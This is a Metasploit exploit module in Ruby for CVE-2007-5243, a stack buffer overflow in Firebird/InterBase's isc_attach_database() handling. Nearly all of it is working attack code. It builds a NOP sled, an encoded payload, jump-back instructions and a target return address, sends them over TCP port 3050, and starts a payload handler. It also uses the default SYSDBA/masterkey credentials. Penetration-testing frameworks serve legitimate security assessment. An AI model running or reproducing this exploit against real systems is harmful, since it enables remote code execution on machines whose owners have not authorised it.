|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183  |  ## # $Id: fb_isc_attach_database.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = AverageRanking  include Msf::Exploit::Remote::Tcp  include Msf::Exploit::Remote::BruteTargets  def initialize(info = {})  super(update_info(info,  'Name' => 'Firebird Relational Database isc_attach_database() Buffer Overflow',  'Description' => %q{  This module exploits a stack buffer overflow in Borland InterBase  by sending a specially crafted create request.  },  'Version' => '$Revision: 9669 $',  'Author' =>  [  'ramon',  'Adriano Lima <adriano@risesecurity.org>',  ],  'Arch' => ARCH_X86,  'Platform' => 'win',  'References' =>  [  [ 'CVE', '2007-5243' ],  [ 'OSVDB', '38607' ],  [ 'BID', '25917' ],  [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],  ],  'Privileged' => true,  'License' => MSF_LICENSE,  'Payload' =>  {  'Space' => 512,  'BadChars' => "\x00\x2f\x3a\x40\x5c",  'StackAdjustment' => -3500,  },  'Targets' =>  [  [ 'Brute Force', { } ],  # '\Device\HarddiskVolume1\WINDOWS\system32\unicode.nls'  [  'Firebird WI-V2.0.0.12748 WI-V2.0.1.12855 (unicode.nls)',  { 'Length' => [ 756 ], 'Ret' => 0x00370b0b }  ],  # Debug  [  'Debug',  { 'Length' => [ 756 ], 'Ret' => 0xaabbccdd }  ],  ],  'DefaultTarget' => 1,  'DisclosureDate'=> 'Oct 03 2007'  ))  register_options(  [  Opt::RPORT(3050)  ], self.class)  end  # Create database parameter block  def dpb_create  isc_dpb_user_name = 28  isc_dpb_password = 29  isc_dpb_version1 = 1  user = 'SYSDBA'  pass = 'masterkey'  dpb = ''  dpb << [isc_dpb_version1].pack('c')  dpb << [isc_dpb_user_name].pack('c')  dpb << [user.length].pack('c')  dpb << user  dpb << [isc_dpb_password].pack('c')  dpb << [pass.length].pack('c')  dpb << pass  dpb  end  # Calculate buffer padding  def buf_padding(length = '')  remainder = length.remainder(4)  padding = 0  if remainder > 0  padding = (4 - remainder)  end  padding  end  def exploit_target(target)  target['Length'].each do |length|  connect  # Attach database  op_attach = 19  # Extra padding to trigger the exception  extra_padding = 1024 * 16  buf = ''  # Operation/packet type  buf << [op_attach].pack('N')  # Id  buf << [0].pack('N')  # Length  buf << [length + extra_padding].pack('N')  # Nop block  buf << make_nops(length - payload.encoded.length - 13)  # Payload  buf << payload.encoded  # Jump back into the nop block  buf << "\xe9" + [-516].pack('V')  # Jump back  buf << "\xeb" + [-7].pack('c')  # Random alpha data  buf << rand_text_alpha(2)  # Target  buf << [target.ret].pack('V')  # Random alpha data  buf << rand_text_alpha(extra_padding)  # Padding  buf << "\x00" * buf_padding(length + extra_padding)  # Database parameter block  # Create database parameter block  dpb = dpb_create  # Database parameter block length  buf << [dpb.length].pack('N')  # Database parameter block  buf << dpb  # Padding  buf << "\x00" * buf_padding(dpb.length)  sock.put(buf)  select(nil,nil,nil,4)  handler  end  end end  |